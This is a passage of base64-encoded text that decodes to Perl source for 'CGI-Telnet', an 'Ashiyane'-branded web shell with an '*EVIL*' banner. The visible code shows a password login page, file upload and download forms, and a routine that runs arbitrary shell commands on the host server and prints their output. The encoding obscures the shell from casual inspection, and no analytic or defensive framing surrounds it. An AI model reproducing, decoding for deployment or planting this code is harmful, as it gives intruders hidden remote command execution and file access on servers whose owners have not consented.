Gxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlz
dFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1
+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2
soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzd
GFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3Bs
aXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9
cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fi
BzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwga
GV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJ
CSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cy
B0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb
2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQo
JJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKF
teYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0Z
Xh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QXNoaXlhbmU8
L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8
uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW
53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZ
Wxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJv
cmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4NCjxiPjxmb250IGNvbG9yPSIjMDAwMDgwIiB
zaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9Il
ZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjMDA5OTAwIj48Yj5DR0ktVGVsbmV0IEFzaGl5YW5lIENvbm5lY
3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0i
MiIgYmdjb2xvcj0iI0MyQkZBNSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSI
kU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPi
B8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiP
kRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29u
bmVjdDwvYT4gfA0KPGEgaHJlZj0iVU5JVFhfVEVBTUBIT1RNQUlMLkNPTSI+SGVscDwvYT4NCjwvZm9udD4
8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+DQpFTkQNCn
0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48Zm9udCBjb2xvcj
0iI2ZmMDAwMCI+IF9fX19fICBfX19fXyAgX19fX18gICAgICAgICAgX19fX18gICAgICAgIF8gICAgICAgI
CAgICAgICBfDQovICBfXyBcfCAgX18gXHxfICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAg
ICAgICAgfCB8DQp8IC8gIFwv
fCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xw0KfCB8ICA
gIHwgfCBfXyAgIHwgfCAgfF9fX19fX3wgIHwgfCAgIC8gXyBcfCB8fCAnXyBcICAvIF8gXHwgX198DQp8IF
xfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAgX18vfCB8Xw0KI
FxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198
IDEuMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9udD48Zm9udCB
jb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2Zvbn
Q+PGZvbnQgY29sb3I9IiNBRTgzMDAiPsKpIDIwMDMsIEFzaGl5YW5lPC9mb250Pjxmb250IGNvbG9yPSIjR
kYwMDAwIj4NCiAgICAgICAgICAgICAgICAgICAuLSZxdW90OyAgICAgICZxdW90Oy0uDQogICAgICAgICAg
ICAgICAgICAvICAgVU5JVC1YICAgXA0KICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8DQogICA
gICAgICAgICAgICAgIHwsICAuLS4gIC4tLiAgLHwNCiAgICAgICAgICAgICAgICAgfCApKF9vLyAgXG9fKS
ggfA0KICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8DQogICAgICAgKEBfICAgICAgIChfICAgI
CBeXiAgICAgXykNCiAgXyAgICAgKSBcPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fPC9m
b250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5cPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9
udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+fCpFVklMKnw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl
9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4vPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX
19fX19fX19fX19fX19fX19fX19fXw0KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250
Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9
udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMD
AwIj58LVxNQVNURVIvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX
19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICApXy8gICAgICAgIFwg
ICAgICAgICAgLyANCiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYA0KICAgICAgICAgICAgIDwvZm9
udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC
9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyP
g0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+
JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aG
F0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQ
cmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGF
kbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA
0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGlu
DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2
RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8a
W5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KbG9naW46IGFkbWluPGJyPg0K
cGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQ
iIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
Q0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3V
iIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29v
a2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFT
lZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlk
LCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0
NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb
3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU
+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dp
biBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LU
Nvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlY
WRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRM
b2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIG
Z1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsI
Gl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElm
IHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl
0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQp
ICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblB
hc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucH
V0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRja
A0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExv
Z2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnR
Mb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdG
VyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFs
bG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q2
9tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogI
lthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0K
PGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQ
gdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIi
BuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hb
WU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4N
CkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3
dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxl
RG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5
cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG
5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9I
mhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA
8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucH
V0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHR
vIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNC
gkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1
cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0
ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQ
okUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiI
HNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1l
PSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2F
kOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdX
QgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZ
GRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvci
BhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhd
GVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxl
ZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb2
1tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7D
Qo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1l
b3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludEN
vbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRz
LiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHR
oZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaG
UgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY
2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFu
ZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV
0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcn
MNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyg
uKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZW
N0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxhe
WVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50
RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSB
gJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIi
RPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZ
T4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQs
IGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0
gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXC
QgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KCQkkQ29tb
WFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJ
CWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGF
ybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIH
Nob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gI
iB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRw
dXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0
NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQ
oJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oM
Ck7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0K
